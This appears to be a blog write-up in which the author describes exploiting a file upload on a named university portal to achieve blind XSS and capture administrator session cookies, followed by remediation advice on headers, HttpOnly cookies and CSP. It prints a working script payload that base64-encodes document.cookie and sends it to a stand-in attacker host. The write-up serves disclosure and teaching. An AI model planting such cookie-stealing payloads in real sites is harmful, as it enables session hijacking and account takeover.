July 5, 2026
From File Upload to Admin Account Takeover: Exploring Blind XSS via Malicious File Content
Hi, I’m Hashem Ali Kahil , Orion7715

By Orion
2 min read
In this write-up, I will walk through how a standard file upload feature on my university portal (sar.su.edu.ye) was leveraged to achieve Stored/Blind Cross-Site Scripting (XSS), ultimately leading to the extraction of sensitive administrator session cookies.
Executive Summary
During a security assessment of my university's portal, I investigated a document/file upload feature. While the application implemented some basic defensive measures — such as stripping file extensions and randomizing filenames — it failed to properly validate the underlying file content and enforce safe content-delivery headers. This allowed an attacker to upload JavaScript payloads disguised as text, leading to execution in the context of the user's session. By leveraging a Blind XSS vector, it was possible to capture high-privilege administrator cookies due to a lack of protective session flags.
The Flaws Identified
1. Inadequate Content-Type Validation and Enforcement
While the application restricted extension handling by stripping them entirely and randomizing the filename, it relied on the browser's MIME-sniffing behavior or served the file under a context (like text/html) that allowed the browser to interpret the file content as executable script rather than a raw, sandboxed download.
2. Missing HttpOnly Cookie Attribute
The session cookies used by the application lacked the HttpOnly flag. This configuration flaw ensures that any JavaScript executing within the origin can access session identifiers via document.cookie, transforming a basic XSS vulnerability into a full session-hijacking vector.
The Exploit Chain
Step 1: Analyzing the File Upload Mechanics
The application offered an interface to upload documents. Upon uploading a standard image or text file, the backend processed the file as follows:
- The original filename was discarded
- A randomized string was assigned as the new name (e.g.,
a7f9b2c4e1). - The file extension was stripped.
When accessing the file directly via its URL, the server delivered the content. However, because the server did not strictly enforce a safe container or attachment disposition, the browser evaluated the raw content structure.
Step 2: Injecting the Payload
Instead of standard image bytes or plain text, a payload containing an XSS trigger was supplied inside the file body:html
<script>
var img = new Image();
img.src = "https://attacker-callback.com/log?cookie=" + btoa(document.cookie);
</script><script>
var img = new Image();
img.src = "https://attacker-callback.com/log?cookie=" + btoa(document.cookie);
</script>When navigating to the randomized file URL, the browser parsed the file content. Because the content started with HTML/JavaScript tags and the server lacked strict Content-Type: application/octet-stream or Content-Disposition: attachment headers, the browser interpreted the page as text/html and executed the script.
Step 3: Triggering Blind XSS
Because these uploaded documents were accessible or reviewed via an administrative backend dashboard, the payload remained stored. Once an administrative user viewed the associated file or activity log:
- The script executed implicitly within the administrator's active session portal.
document.cookieread the active session tokens.- The data was exfiltrated back to the external listener, granting access to the administrative session.
Impact
- Session Hijacking: Complete compromise of administrative or user accounts.
- Data Exposure: Access to sensitive student, academic, or administrative records hosted within the portal control panel.
- Impersonation: Unauthorized administrative actions performed under the guise of legitimate credentials.
Remediation Guidelines
To secure the application against this exploit chain, the following mitigation strategies should be implemented:
1. Secure File Delivery Headers
When serving user-uploaded files, ensure the server forces the browser to treat the files as safe downloads rather than renderable web content.
- Set the
Content-Typestrictly toapplication/octet-streamfor unknown or untrusted files. - Enforce the
Content-Dispositionheader to ensure files are downloaded rather than viewed inline:
Content-Disposition: attachment; filename="downloaded_file"Content-Disposition: attachment; filename="downloaded_file"2. Set the HttpOnly Flag on Cookies
Protect session identifiers from being accessed via client-side scripts. Every sensitive cookie should include the HttpOnly directive in the Set-Cookie header:
Set-Cookie: session_id=xyz123; Secure; HttpOnly; SameSite=StrictSet-Cookie: session_id=xyz123; Secure; HttpOnly; SameSite=Strict3. Implement Content Security Policy (CSP)
Deploy a robust Content Security Policy to restrict where scripts can be loaded from and where data can be exfiltrated. For example:
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://trusted-api.com;Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://trusted-api.com;